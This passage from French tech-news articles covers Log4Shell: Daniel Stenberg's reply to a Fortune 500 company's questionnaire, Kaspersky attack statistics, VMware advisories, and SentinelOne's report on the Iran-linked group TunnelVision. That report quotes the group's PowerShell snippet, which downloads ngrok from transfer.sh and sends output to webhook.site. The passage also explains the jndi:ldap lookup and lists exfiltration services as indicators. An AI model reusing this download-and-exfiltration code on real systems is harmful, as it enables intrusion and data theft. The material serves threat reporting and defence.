Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.
La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».
La sévérité de la brèche est maximale 10 sur l’échelle CVSS.
Des correctifs ont été proposés mais, tour à tour, il a été découvert des faiblesses dans leurs réponses. Au total, les chercheurs ont découvert quatre vulnérabilités en prenant en considération les surfaces d'attaques laissées par trois correctifs proposés pour combler la même faille.
Le créateur de cURL interrogé
cURL (abréviation de client URL request library : « bibliothèque de requêtes aux URL pour les clients » ou see URL : littéralement « voir URL ») est une interface en ligne de commande, destinée à récupérer le contenu d'une ressource accessible par un réseau informatique. La ressource est désignée à l'aide d'une URL et doit être d'un type supporté par le logiciel. Le logiciel permet de créer ou modifier une ressource (contrairement à wget), il peut ainsi être utilisé en tant que client REST.
Le programme cURL implémente l'interface utilisateur et repose sur la bibliothèque logicielle libcurl, développée en langage C. Celle-ci est ainsi accessible aux développeurs qui veulent disposer des fonctionnalités d'accès au réseau dans leurs programmes. Des interfaces ont été créées dans de nombreux langages (C++, Java, .NET, Perl, PHP, Ruby...).
La bibliothèque supporte notamment les protocoles DICT, file, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, Telnet et TFTP.
Son créateur, Daniel Stenberg, a été contacté dans le contexte de la faille log4j par une entreprise disposant d'une capitalisation boursière lui permettant de figurer dans le Fortune 500. Dans un billet de blog, il a indiqué :
« Le vendredi 21 janvier 2022, j'ai reçu cet e-mail. J'ai tweeté à ce sujet et ça a décollé.
« L'e-mail provient d'une entreprise multimilliardaire figurant dans le Fortune 500 qui pourrait apparemment utiliser un produit contenant mon code, ou peut-être qu'ils ont des clients qui le font. Qui sait?
« Je suppose qu'ils le font pour des raisons de conformité et qu'ils ont "oublié" que leurs composants open source ne sont pas automatiquement fournis par des "partenaires" auxquels ils peuvent simplement demander ces informations.
« J'ai répondu très brièvement à l'e-mail et j'ai dit que je serais heureux de répondre avec des détails dès que nous aurons signé un contrat de support.
« Je pense que cela est peut-être un bon exemple de la pyramide open source et que les utilisateurs des couches supérieures ne pensent pas du tout à la façon dont les couches inférieures sont maintenues. Construire une maison sans se soucier du sol sur lequel se trouve la maison ».
Dans son tweet et dans son billet de blog, il supprime le nom de l'entreprise et en donne les raisons : « J'ai très probablement le droit de vous dire qui ils sont, mais je préfère quand même ne pas le faire. (Surtout si je parviens à décrocher un contrat commercial rentable avec eux.) Je pense que nous pouvons trouver ce niveau de droit dans de nombreuses entreprises ».
Et de continuer en ces termes :
« Le niveau d'ignorance et d'incompétence montré dans ce seul e-mail est ahurissant.
« Bien qu'ils ne disent même pas spécifiquement quel produit ils utilisent, aucun code avec lequel j'ai jamais été impliqué ou dont j'ai les droits d'auteur n'utilise log4j et n'importe quel débutant ou meilleur ingénieur pourrait facilement le vérifier.
« Dans la version image de l'e-mail, j'ai complété les champs de nom pour mieux anonymiser l'expéditeur, et dans le texte ci-dessous, je les ai remplacés par NNNN. (Et oui, il est très curieux qu'ils envoient des requêtes sur log4j maintenant, apparemment très tard.) »
Les courriels
Citation:
Envoyé par L'entreprise
Cher partenaire de l'équipe Haxx,
Vous recevez ce message car NNNN utilise un produit que vous avez développé. Nous vous demandons d'examiner et de répondre dans les 24 heures suivant la réception de cet e-mail. Si vous n'êtes pas la bonne personne, veuillez transmettre ce message au contact approprié.
Comme vous le savez peut-être déjà, une vulnérabilité zero-day récemment découverte affecte actuellement la bibliothèque de journalisation Java Apache Log4j à l'échelle mondiale, permettant potentiellement aux attaquants de prendre le contrôle total des serveurs concernés.
La sécurité et la protection des informations confidentielles de nos clients sont notre priorité absolue. En tant que partenaire clé au service de nos clients, nous devons comprendre vos plans de risque et d'atténuation de cette vulnérabilité.
Veuillez répondre aux questions suivantes en utilisant le modèle fourni ci-dessous.
1. Si vous utilisez une bibliothèque de journalisation Java pour l'une de vos applications, quelles versions de Log4j sont en cours d'exécution ?
2. Y a-t-il eu des incidents de sécurité confirmés dans votre entreprise ?
3. Si oui, quels applications, produits, services et versions associées sont impactés ?
4. Certains produits et services NNNN ont-ils été touchés ?
5. Les informations non publiques ou personnelles de NNNN ont-elles été affectées ?
6. Si oui, veuillez fournir immédiatement les détails des informations concernées NNNN.
7. Quel est le délai (MM/JJ/AA) pour terminer la correction ? Énumérez les étapes NNNN, y compris les dates pour chacune.
8. Quelle action est requise de la part de NNNN pour terminer cette correction ?
Dans un effort pour maintenir l'intégrité de cette enquête, nous vous demandons de ne pas partager les informations relatives à NNNN en dehors de votre entreprise et de réserver cette demande au personnel concerné uniquement.
Merci d'avance pour votre prompte attention à cette demande et votre partenariat !
Sincèrement,
Sécurité des informations NNNN
Les informations contenues dans ce message peuvent être CONFIDENTIELLES et sont destinées uniquement au destinataire prévu. Toute utilisation non autorisée, diffusion des informations ou copie de ce message est interdite. Si vous n'êtes pas le destinataire prévu, veuillez en informer immédiatement l'expéditeur et supprimer ce message.
Le 24 janvier, le père de cURL a reçu cette réponse, de la même adresse et elle cite sa réponse :
Citation:
Envoyé par Entreprise
Salut David,
Merci pour votre réponse. Êtes-vous en train de dire que nous ne sommes pas un client de votre organisation ?
/ [prénom de la personne qui s'adresse à David]
Le père de cURL a de nouveau répondu (22h29 CET le 24 janvier) à ce courriel qui l'identifiait comme étant "David". Etant donné qu'il y a une histoire à propos d'un David qui a affronté le géant Goliath, il n'a pas pu s'empêcher d'en faire une blague :
Citation:
Envoyé par Daniel Stenberg
Salut Goliath,
Non, vous n'avez aucun contrat établi avec moi ou toute autre personne chez Haxx à qui vous avez adressé cet e-mail, demandant beaucoup d'informations. Vous n'êtes pas notre client, nous ne sommes pas votre client. De plus, vous n'avez pas précisé de quel produit il s'agissait.
Ainsi, nous pouvons soit établir une telle relation, soit vous êtes libre de chercher vous-même des réponses à vos questions.
Je ne peux que présumer que vous avez intégré notre adresse e-mail et nos coordonnées dans vos systèmes, car nous produisons de nombreux logiciels open source largement utilisés.
Meilleurs vœux,
Daniel
Source : Daniel Stenberg (billet de blog, Tweet)
Et vous ?
:fleche: Que pensez-vous de la démarche de l'entreprise du Fortune 500 ?
:fleche: Que pensez-vous de la réponse de David Stenberg ?
Voir aussi :
:fleche: GitHub restaure le compte du dev qui a intentionnellement corrompu ses bibliothèques, certains développeurs estiment que la suspension était déraisonnable puisqu'il s'agissait de son propre code
:fleche: Log4j : la directrice du CISA s'attend à des retombées de la faille qui vont s'étendre sur des années et servir à des intrusions futures dans les systèmes des entreprises
1 pièce(s) jointe(s)
L'exploitation de Log4Shell se poursuit : plus de 30 000 scans signalés en janvier, selon Kaspersky
L'exploitation de Log4Shell se poursuit : plus de 30 000 scans signalés en janvier, la vulnérabilité continue de représenter une vaste menace pour les utilisateurs malgré le correctif publié par la Fondation Apache
Découverte en décembre 2021, Log4Shell est rapidement devenue tristement célèbre comme étant la vulnérabilité de l'année. Bien que la Fondation Apache ait publié un correctif pour cette CVE peu après sa découverte, cette vulnérabilité continue de représenter une vaste menace pour les particuliers et les organisations.
D’ailleurs, au cours des trois premières semaines de janvier, les produits Kaspersky ont bloqué 30 562 tentatives d'attaques contre des utilisateurs à l'aide d'exploits ciblant la vulnérabilité Log4Shell.
Cette vulnérabilité est extrêmement intéressante pour les cybercriminels car elle leur permet de prendre le contrôle total du système de la victime et est facile à exploiter.
Depuis qu'elle a été signalée pour la première fois, les produits Kaspersky ont détecté et empêché 154 098 tentatives de scan et d'attaque de terminaux exploitant la vulnérabilité Log4Shell. La plupart des systèmes attaqués étaient situés en Russie (13%), au Brésil (8,97%), aux Etats-Unis (7,36%). La France est à la 5e place (3,94%).
Bien que la Fondation Apache ait déjà publié un correctif pour cette CVE, il faut des semaines voire des mois aux fournisseurs pour mettre à jour leurs logiciels. Sans surprise, les experts de Kaspersky ont observé que les attaquants malveillants poursuivent leurs scans à grande échelle pour exploiter Log4Shell. Au cours des trois premières semaines de janvier, les produits Kaspersky ont bloqué 30 562 tentatives d'attaques contre des utilisateurs à l'aide d'exploits ciblant la vulnérabilité Log4Shell. En outre, près de 40 % de ces tentatives ont été détectées dans les cinq premiers jours du mois, du 1er au 5 janvier.
Evgeny Lopatin, expert sécurité Kaspersky, explique : « Nous constatons que les analyses et les tentatives d'attaques utilisant Log4Shell sont beaucoup moins nombreuses qu'au cours des premières semaines suivant sa découverte. Pourtant, les tentatives d'exploitation de cette vulnérabilité devraient se poursuivre. Comme le montre notre télémétrie, les cybercriminels poursuivent leurs activités d'analyse de masse et tentent de capitaliser sur le code exploitable. Cette vulnérabilité est exploitée à la fois par des acteurs de la menace avancée qui ciblent des organisations spécifiques ainsi que par des opportunistes qui cherchent tout simplement des systèmes vulnérables à attaquer. Nous demandons instamment à tous ceux qui ne l'ont pas encore fait de se mettre à jour et d'utiliser une solution de sécurité forte pour se protéger. »
Les produits Kaspersky protègent contre les attaques exploitant les vulnérabilités, y compris l'utilisation de PoCs sous les noms suivants :
- UMIDS:Intrusion.Generic.CVE-2021-44228.
- PDM:Exploit.Win32.Generic.
Pour se prémunir contre cette nouvelle vulnérabilité, les experts de Kaspersky recommandent :
- D'installer la version la plus récente de la bibliothèque. Vous pouvez la télécharger sur la page du projet. Si vous utilisez la bibliothèque d'un produit tiers, vous devrez surveiller et installer les mises à jour opportunes d'un fournisseur de logiciels.
- De suivre les directives du projet Apache Log4j
- L’utilisation par les entreprises d’une solution de sécurité qui fournit des composants de prévention de l'exploitation des vulnérabilités et de gestion des correctifs, comme Kaspersky Endpoint Security for Business. Le composant Automatic Exploit Prevention de Kaspersky surveille également les actions suspectes sur les applications et bloque les exécutions de fichiers malveillants.
- L’utilisation de solutions telles que Kaspersky Endpoint Detection and Response et Kaspersky Managed Detection and Response , qui permettent d'identifier et de stopper les attaques à un stade précoce, avant que les attaquants ne puissent atteindre leur objectif final.
A propos de Kaspersky
Kaspersky est une société internationale de cybersécurité et de protection de la vie privée numérique fondée en 1997. L’expertise de Kaspersky en matière de « Threat Intelligence » et sécurité informatique vient constamment enrichir la création de solutions et de services de sécurité pour protéger les entreprises, les infrastructures critiques, les autorités publiques et les particuliers à travers le monde.
Source : Kaspersky
Et vous ?
:fleche: Qu'en pensez-vous ?
:fleche: Votre entreprise est-elle victime de l'exploitation de cette vulnérabilité ?
:fleche: Quelles sont les dispositions prises pour s'en prémunir ?
Voir aussi :
:fleche: Plus de 35 000 packages Java impactés par les vulnérabilités Log4j, selon un rapport de l'équipe open source de Google
:fleche: Jamais deux sans trois : Apache révèle un autre bogue dans la bibliothèque de journalisation Log4J, le troisième correctif majeur en dix jours est une faille de récursivité infinie
:fleche: Une quatrième vulnérabilité découverte dans la bibliothèque de journalisation Log4J, les utilisateurs sont conviés à passer à la version 2.17.1
1 pièce(s) jointe(s)
Log4shell : les serveurs VMware Horizon seraient activement exploités par des hackers affiliés à l'Iran
Log4shell : les serveurs VMware Horizon seraient activement exploités par des hackers affiliés à l'Iran,
le groupe TunnelVision exploite la faille critique sur Log4j pour attaquer des cibles au ransomware
SentinelLabs a suivi l'activité d'un acteur malveillant affilié à l'Iran opérant au Moyen-Orient et aux États-Unis. En raison de la forte dépendance de l'acteur malveillant aux outils de tunnellisation, ainsi que de la manière unique dont il choisit de les déployer largement, l'équipe suit ce groupe d'activités sous le nom de TunnelVision. Tout comme d'autres acteurs malveillants iraniens opérant dans la région ces derniers temps, les activités de TunnelVision étaient liées au déploiement de rançongiciels, faisant du groupe un acteur potentiellement destructeur.
Des hackers qui seraient affiliés au gouvernement iranien exploitent la vulnérabilité critique Log4j pour attaquer au ransomware les utilisateurs de VMware utilisant des versions non corrigés, ont déclaré jeudi des chercheurs.
La société de sécurité SentinelOne a baptisé le groupe TunnelVision. Le nom est destiné à souligner la forte dépendance de TunnelVision vis-à-vis des outils de tunnellisation et la manière unique dont il les déploie. Dans le passé, TunnelVision a exploité les vulnérabilités dites 0-day pour pirater les organisations. Les vulnérabilités dans Fortinet FortiOS (CVE-2018-13379) et Microsoft Exchange (ProxyShell) sont deux des cibles les plus connues du groupe.
Pour mémoire, une vulnérabilité zero-day ou 0-day (en anglais zero-day vulnerability) désigne une faille de sécurité informatique dont l'éditeur du logiciel ou le fournisseur de service n'a pas encore connaissance, ou qui n'a pas encore reçu de correctif. Par extension, on parle d'exploitation zero-day (zero-day exploit) lorsque ce type de faille est utilisé par des cyberdélinquants pour lancer des attaques contre des installations vulnérables.
Vient alors Log4Shell
Récemment, a rapporté SentinelOne, TunnelVision a commencé à exploiter une vulnérabilité critique dans Log4j, un utilitaire de journalisation open source intégré à des milliers d'applications. CVE-2021-44228 (ou Log4Shell, comme la vulnérabilité est surnommée) permet aux attaquants de prendre facilement le contrôle à distance des ordinateurs exécutant des applications dans le langage de programmation Java.
La recherche SentinelOne montre qu'une campagne exploitant cette faille est lancée et cible es organisations exécutant VMware Horizon, un produit de virtualisation de postes de travail et d'applications qui s'exécute sous Windows, macOS et Linux.
Exploitation de VMware Horizon
L'exploitation de Log4j dans VMware Horizon se caractérise par un processus malveillant généré à partir du service Tomcat du produit VMware (C:\Program Files\VMware\VMware View\Server\bin\ws_TomcatService.exe).
Les attaquants de TunnelVision exploitent activement la vulnérabilité pour exécuter des commandes PowerShell malveillantes, déployer des portes dérobées, créer des utilisateurs de porte dérobée, collecter des informations d'identification et effectuer des mouvements latéraux.
En règle générale, l'auteur malveillant exploite initialement la vulnérabilité Log4j pour exécuter directement des commandes PowerShell, puis exécute d'autres commandes au moyen de shells inversés PS, exécutés via le processus Tomcat.
Apache Tomcat est un serveur Web open source que VMware et d'autres logiciels d'entreprise utilisent pour déployer et servir des applications Web basées sur Java. Une fois installé, un shell permet aux hackers d'exécuter à distance les commandes de leur choix sur les réseaux exploités. Une fois installé, les membres de TunnelVision l'utilisent pour :
- Exécuter les commandes de reconnaissance
- Créer un utilisateur de porte dérobée et l'ajouter au groupe d'administrateurs réseau
- Collecter les informations d'identification à l'aide de ProcDump, de comsvcs MiniDump ou d'un hive dump de SAM (Security Account Manager ou gestionnaire des comptes de sécurité). SAM est la base de données des comptes locaux sur Windows Server 2003, Windows XP, Windows 2000. C'est l'un des composants de la base de registre. Elle contient les mots de passe locaux. et de comsvcs MiniDump
- Télécharger et exécuter des outils de tunnellisation, y compris Plink et Ngrok, qui sont utilisés pour tunnelliser le trafic du protocole de bureau à distance
Commandes PowerShell
Les opérateurs de TunnelVision ont exploité la vulnérabilité Log4j dans VMware Horizon pour exécuter des commandes PowerShell, renvoyant les sorties à l'aide d'un webhook. Dans cet exemple, l'auteur malveillant a tenté de télécharger ngrok sur un serveur VMware Horizon compromis*:
Code:
1
2
3
4
5
6
7
8
| try{
(New-Object System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Public\public.exe");
Rename-Item 'c://Users//public//new.txt' 'microsoft.exe';
$a=iex 'dir "c://Users//public//"' | Out-String;
iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}catch{
iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
} |
Tout au long de l'activité, l'utilisation de plusieurs services légitimes a été observée. Étant donné qu'un environnement est compromis par TunnelVision, il peut être utile de rechercher des connexions sortantes vers l'un de ces services publics légitimes*:
- transfert.sh
- pastebin.com
- webhook.site
- ufile.io
- raw.githubusercontent.com
VMware corrige les vulnérabilités critiques invité-hôte
Dans un avis cette semaine, VMware a alerté les utilisateurs des vulnérabilités invité-hôte dans les contrôleurs USB XHCI et UHCI de son hyperviseur ESXi, ainsi que d'une faille importante corrigée dans NSX Data Center for vSphere.
Au total, cinq vulnérabilités ont été découvertes dans ESXi, Workstation, Cloud Foundation (ESXi) et Fusion de VMware lors de la Tianfu Cup 2021, une compétition de hacking similaire à Pwn2Own et qui se déroule en Chine, par le Kunlun Lab du pays. Les bogues découverts par Kunlun ont été divulgués en privé à VMware – bien que l'année dernière, la Chine ait adopté une nouvelle loi ordonnant aux chercheurs en sécurité de révéler leurs découvertes au ministère de la Sécurité publique du pays au moins deux jours avant tout le monde.
Le vendeur a déclaré qu'il n'avait vu aucune preuve que les conclusions du concours avaient été exploitées par des hackers. Des correctifs ont été publiés, c'est maintenant aux administrateurs de les implémenter. Les vulnérabilités vont des failles use-after-free() et double-fetch qui peuvent être exploitées pour exécuter du code sur l'hôte, à un déni de service (DoS) à l'ancienne. La liste complète pour ESXi, Workstation, Cloud Foundation et Fusion est*:
- CVE-2021-22040, Vulnérabilité Use-after-free() dans le contrôleur USB XHCI
- CVE-2021-22041, Vulnérabilité de double extraction dans le contrôleur USB UHCI
- CVE-2021-22042, vulnérabilité d'accès non autorisé aux paramètres ESXi
- CVE-2021-22043, paramètres ESXi et vulnérabilité TOCTOU
- CVE-2021-22050, vulnérabilité de déni de service HTTP POST lente d'ESXi (découverte par SolidLab en Russie)
« Les vulnérabilités individuelles documentées sur cette VMSA (VMware Security Advisory) ont une gravité importante/modérée, mais la combinaison de ces problèmes peut entraîner une gravité plus élevée, d'où la gravité de cette VMSA est au niveau de gravité critique », a déclaré VMware.
Les bogues des contrôleurs USB XHCI et UHCI peuvent être exploités par une personne malveillante disposant de privilèges administratifs dans une machine virtuelle pour exécuter du code en tant que processus VMX de la machine virtuelle exécuté sur l'hôte. Si les lecteurs ont un sentiment de déjà-vu à ce sujet, c'est parce qu'une vulnérabilité décrite de manière presque identique a été signalée en 2020 et suivie sous le nom de CVE-2020-4004.
VMware a noté*: « En bref, les correctifs VMware ESXi, Workstation et Fusion sont les méthodes les plus rapides pour résoudre ces problèmes. Il existe également une solution de contournement*: supprimer les contrôleurs USB des machines virtuelles, bien que cela puisse être irréalisable à grande échelle et n'élimine pas le une menace potentielle comme le font les correctifs ».
Ainsi, si vous avez des machines virtuelles avec ces contrôleurs USB déjà retirés, vous pouvez pousser un petit soupir de soulagement.
Pendant ce temps, les failles de settingsd peuvent être exploitées pour écrire dans des fichiers arbitraires ou accéder au service en tant qu'utilisateur disposant de privilèges plus élevés. La faille NSX peut être exploitée par un utilisateur disposant d'un accès SSH à un équipement NSX-Edge pour exécuter des commandes en tant que root. Ceci est également présent dans Cloud Foundation (NSX-V).
Historique de la faille affectant Log4J
Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.
Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap:// est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.
Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.
La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».
Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.
Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.
Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.
La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.
La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :
« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».
La faille a été corrigée dans Log4j 2.17.0 (Java 8).
Un autre bogue critique d'exécution de code à distance, suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.
Classé « modéré » en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.
« JDBC Appender doit utiliser JndiManager lors de l'accès à JNDI. L'accès JNDI doit être contrôlé via une propriété système », est-il indiqué sur la description du problème. « Lié à CVE-2021-44832 où un attaquant autorisé à modifier le fichier de configuration de journalisation peut construire une configuration malveillante à l'aide d'un appender JDBC avec une source de données référençant un URI JNDI qui peut exécuter du code à distance. »
L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.
La directrice de la CISA, Jen Easterly, a indiqué plus tôt cette année que la vulnérabilité, qui affecte des dizaines de millions d'appareils connectés à Internet, est la pire qu'elle ait vue dans sa carrière. Il est possible, a-t-elle dit, que les attaquants patientent, attendant que les entreprises et autres baissent leurs défenses avant d'attaquer : « Nous nous attendons à ce que Log4Shell soit utilisé dans les intrusions dans le futur », a déclaré Easterly. Elle a noté la violation de données d'Equifax en 2017, qui a compromis les informations personnelles de près de 150 millions d'Américains, découlait d'une vulnérabilité dans un logiciel open source.
Sources : SentinelOne, VMWare (1, 2)
Et vous ?
:fleche: Avez-vous déjà effectué les mises à jour pour corriger Log4J ?
:fleche: Partagez-vous l'opinion de la directrice du CISA qui s'attend à des retombées de la faille qui vont s'étendre sur des années ?
Voir aussi :
:fleche: 95 000 cyberattaques ont été recensées cette année, une augmentation de 45 398 par rapport à 2020, les grandes entreprises étant les plus ciblées, selon Orange Cyberdefense
:fleche: Les ransomwares ont augmenté de 62 % depuis 2019, avec un pic de 158 % en Amérique du Nord, les cybercriminels utilisant des tactiques plus sophistiquées et des variantes plus dangereuses comme Ryuk
:fleche: Les entreprises de taille moyenne sont 490 % plus susceptibles d'être victimes d'une atteinte à la vie privé, dû au manque de ressources et au coût élevé des expertises, selon Coro
